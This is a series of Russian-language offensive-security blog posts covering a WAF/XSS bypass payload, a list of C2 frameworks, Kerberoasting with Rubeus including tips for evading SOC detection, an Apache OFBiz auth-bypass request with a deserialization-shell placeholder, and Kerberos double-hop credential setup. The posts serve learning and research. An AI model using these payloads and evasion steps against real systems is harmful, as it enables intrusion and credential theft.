🦊 Про кастомные элементы в DOM

Иногда бывает полезно посмотреть customElements.define() в библиотеках и внутреннем JS-коде. Эта функция регистрирует новые элементы DOM, и WAF свободно пропускает их.

На скрине внизу показан стандартный JS для PyScript, в котором создается элемент <py-noscript>, что приводит к интересному байпасу:

<py-noscript>'\74img/src/onerror\75alert(domain)\76'</py-noscript>

Попробовать самостоятельно можно тут.

#web #xss

Please, provide command…

Когда-то я собирал список инструментов для проксирования трафика. В этот раз я посмотрел некоторые C2 и решил поделиться небольшим списком. 🔥

Sliver - это пожалуй один из самых популярных C2 на данный момент. Он поддерживает различные протоколы, включая HTTP, WireGuard, DNS и т.д. Плюс, был недавно набор статей по его кастомизации 👍

Mythic - как и Sliver, Mythic является достаточно популярным C2, плюс у него очень приятный UI. Для Mythic есть много различных агентов. Ну и никто не мешает написать собственный, а документация у данного инструмента приятная

Merlin - данный C2 популярен за обширность предоставляемых модулей для AD, но только не каждый из них корректно работает. Автор заявлял, что агент можно легко модифицировать под себя, но в пабликах не видел агентов, основанных на нем

Godoh - самый простой C2, однако для коннекта использует протокол DNS-over-HTTPS 🙂

Havoc - очень похож на Cobalt Strike, имеет в себе много различных модулей. Его фичей считают Sleep obfuscation, основанный на Ekko (thx to D00Movenok )

PoshC2 - тулза немного устаревшая, но показалось интересной за счет модулей, основанных на C# (хотя поддерживает еще модули, основанные на Python)

По детекту понравилась статья от ProjectDiscovery

Наверно все 🚶‍♀️

Пока писал, тут выкатили статью по C2C

Мне как-то стало интересно, каким образом фиксируются манипуляции с Kerberos, поэтому решил порыть базовые вещи. Разбираться будем сегодня с TGS

Rubeus.exe kerberoast /nowrap

Мы можем видеть, что он отправляет следующий LDAP запрос

(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))

(samAccountType=805306368) - получаем доменных пользователей

(servicePrincipalName=*) - получаем все SPN в домене

(!samAccountName=krbtgt) - убираем из вывода krbtgt

(!(UserAccountControl:1.2.840.113556.1.4.803:=2)) - смотрим, что УЗ не заблокирована.


Тут уже начинается детект у многих. Вся проблема в servicePrincipalNames=*, который SOC ловит, т.к мы получаем список всех SPN. Лучше определить учетные записи с SPN и только потом делать уже запрос

Rubeus.exe kerberoast /nowrap /user:svc_chat /spn:HTTP/sus.monkey.local

Многие знают про некий даунгрейд тикета с AES на RC4. По факту, ничего не мешает сервисной учетке поддерживать RC4 и AES128/256 одновременно, поэтому мы можем запросить, запросить тикет не с AES, а с RC4, поэтому и сбрутать креды будет намного легче. В Rubeus с этим помогает флаг /tgtdeleg. Однако, в идеале тикеты и его содержимое мониторят.

Попробуем немного углубиться в содержимое тикета, если конкретнее то в его флаги. Эти 32-битные флаги называют KDCOptions. Нормальным поведением является, если значение KDCOptions равно 0x40810000, однако при попытке поиграться с тикетами, мы можем заметить другое значение 0x40810010. Если их сравнивать, то можем понять, что нам надо избавиться от Renewable-OK, и с этим уже может помочь тулза Orpheus, которая подправит флаги.

Интересным решением для обнаружения атак является использование фейковых УЗ с SPN, данный момент мне подчеркнул один из моих коллег. Обычно стоит обращать внимание на LastLogon, который может намекнуть на фальшивость УЗ. Ну и наличие высоких привилегий, тоже дает намек

Bye-bye ✨

Пора и мне сказать что-то ✨

В этом году я очень старался повысить свои навыки, а вы могли наблюдать тем, что я балансировал между разными темами в своих постах. С одним автором другого ИБ-канала я общался и обсуждал рынок ИБ, другие авторы меня вдохновляли, направляли и просто показывали свои находки, ресерчи и наработки.

По активностям год был веселый. На PHD, я сидел и тыкал IDS Bypass, помогал в проведении OFFZONE 2023, ну и Standoff 12 тоже не прошел мимо. Надо попробовать быть более активным в следующем году. 🎧

Было хорошо? Не знаю, но думаю, что я нашел курс своего развития, где-то на ближайшие полгода. Под конец года, постов стало меньше, т.к задач по работе было не мало, да и учеба тоже дает знаки о себе.

В завершении скажу, что все молодцы! Пусть каждый отдохнет на праздниках, пусть каждый будет получать удовольствие от своего дела, пусть каждый будет здоровым! ✨

Счастье для всех, даром, и пусть никто не уйдет обиженный!

Oh yes, ping pong

Под конец прошлого года, прошла шумиха с Apache Ofbiz, который позволял сделать байпас аутентификации и проабьюзать XML-RPC. Решил глянуть, что это было и как оно происходит 😺

Суть заключается в том, что XML-RPC, по логике можно использовать только с валидными кредами, но глянем на сам момент аутентификации юзера в LoginWorker.java

       List<String> unpwErrMsgList = new LinkedList<String>();
        if (UtilValidate.isEmpty(username)) {
            unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, "loginevents.username_was_empty_reenter", UtilHttp.getLocale(request)));
        }
        if (UtilValidate.isEmpty(password) && UtilValidate.isEmpty(token)) {
            unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, "loginevents.password_was_empty_reenter", UtilHttp.getLocale(request)));
        }
        boolean requirePasswordChange = "Y".equals(request.getParameter("requirePasswordChange"));
        if (!unpwErrMsgList.isEmpty()) {
            request.setAttribute("_ERROR_MESSAGE_LIST_", unpwErrMsgList);
            return  requirePasswordChange ? "requirePasswordChange" : "error";
        }

Тут все начинается с requirePasswordChange, который не обращает внимание на то, введет ли юзер валидные креды. Если юзер в качестве параметра отдает Y, то метод login(HttpServletRequest request, HttpServletResponse response) вернет строку requirePasswordChange

Дальше идем в checkLogin() и там уже идет следующий момент

if (username == null
                    || (password == null && token == null)
                    || "error".equals(login(request, response)))

Т.е по факту, мы тупо можем обойти проверку, путем вставки любого символа ему, и плюс "error".equals(login(request, response)) не будет срабатывать, т.к мы заставили login(...) вернуть requirePasswordChange

Поэтому мы можем дергать ручки XML-RPC

/webtools/control/ping?USERNAME=&PASSWORD=s&requirePasswordChange=Y

А через серелиализацию, мы передаем наш шелл, который можно сделать через ysoserial

POST /webtools/control/xmlrpc/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Length: 4002
Content-Type: application/xml

<?xml version="1.0"?>
<methodCall>
  <methodName>Methodname</methodName>
  <params>
    <param>
    <value>
      <struct>
        <member>
          <name>test</name>
          <value>
            <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">serialized_shell</serializable>
          </value>
        </member>
      </struct>
    </value>
  </param>
</params>
</methodCall>

Kubectl apply

Йо, сегодня я принес несколько ссылочек, где можно почитать про работу различных компонентов в k8s. К такой идее я пришел после того, как решил поизучать принцип работы Docker, и тут можно потыкать ссылочки про него ✨. У меня изначально появился интерес к куберовским namespace, которые по факту создают некую изоляцию кластеров (а эта изоляция предусматривает те же ограничения на API и т.п), ну и потом интерес пошел еще дальше. Подборка довольна скромная, но надеюсь, что кому-то будет интересно ✨

▪️ Как работает K8S в общих чертах

▪️ Docker Containers vs. Kubernetes Pods

▪️ Kubernetes multi-container pods and container communication

▪️ Чуть потыкаться с сервисами

▪️ Почитать про RBAC можно тут, тут и тут

▪️ Accessing the Kubernetes API

▪️ Kubernetes namespaces isolation

▪️ Understanding service accounts and tokens

▪️ Kubernetes API Basics


Плюс, если кому-то будет интересно, то тут есть мини туториал по containerd и как его тыкать

First hop, second hop

Как-то увидел понятие Double Hop в Kerberos. Думал, что ничего в нем нет, но решился глянуть что это.

1. Клиент использует TGT для запроса TGS с которым пойдет к Server-A

2. Клиент с Server-A хочет пойти на Server-B, но ничего не получается 😺

Это происходит в Kerberos потому, что Server-A не имеет TGT-клиента и его креденшалы просто не кешируются. Поэтому не будет способа доказать, что попытка аутентификации является действительной.

Используем PSExec и проблем не будет, т.к NTLM будет памяти. Однако представим, что PSExec нам не доступен и мы решили использовать WinRM. Но вот WinRM не даст нам коннекта, если мы попробуем запрыгнуть уже на второй хост, через первый, т.к кредов нет

Попробуем использовать PSCredential, чтобы как-то просто ходить к Server-B

PS C:\Users\sas\Documents> $SecPassword = ConvertTo-SecureString 'I_w@s_tir3d' -AsPlainText -Force 
PS C:\Users\sas\Documents> $Cred = New-Object System.Management.Automation.PSCredential('MONKEY\admin', $SecPassword)

Не забываем применить это все, путем Register-PSSessionConfiguration 🕺

PS C:\Users\sas\Documents> Register-PSSessionConfiguration -Name admin -RunAsCredential MONKEY\admin
PS C:\Users\sas\Documents> Restart-Service WinRM
PS C:\Users\sas\Documents> Enter-PSSession -ComputerName TEST02 -Credential MONKEY\admin -ConfigurationName admin

Теперь когда мы будем обращаться к Server-B, то никаких проблем не будет за счет предоставленных кред, а так же можем наблюдать наличие тикетов для нужных ресурсов.

Еще почитать про это можно тут, тут и тут 😇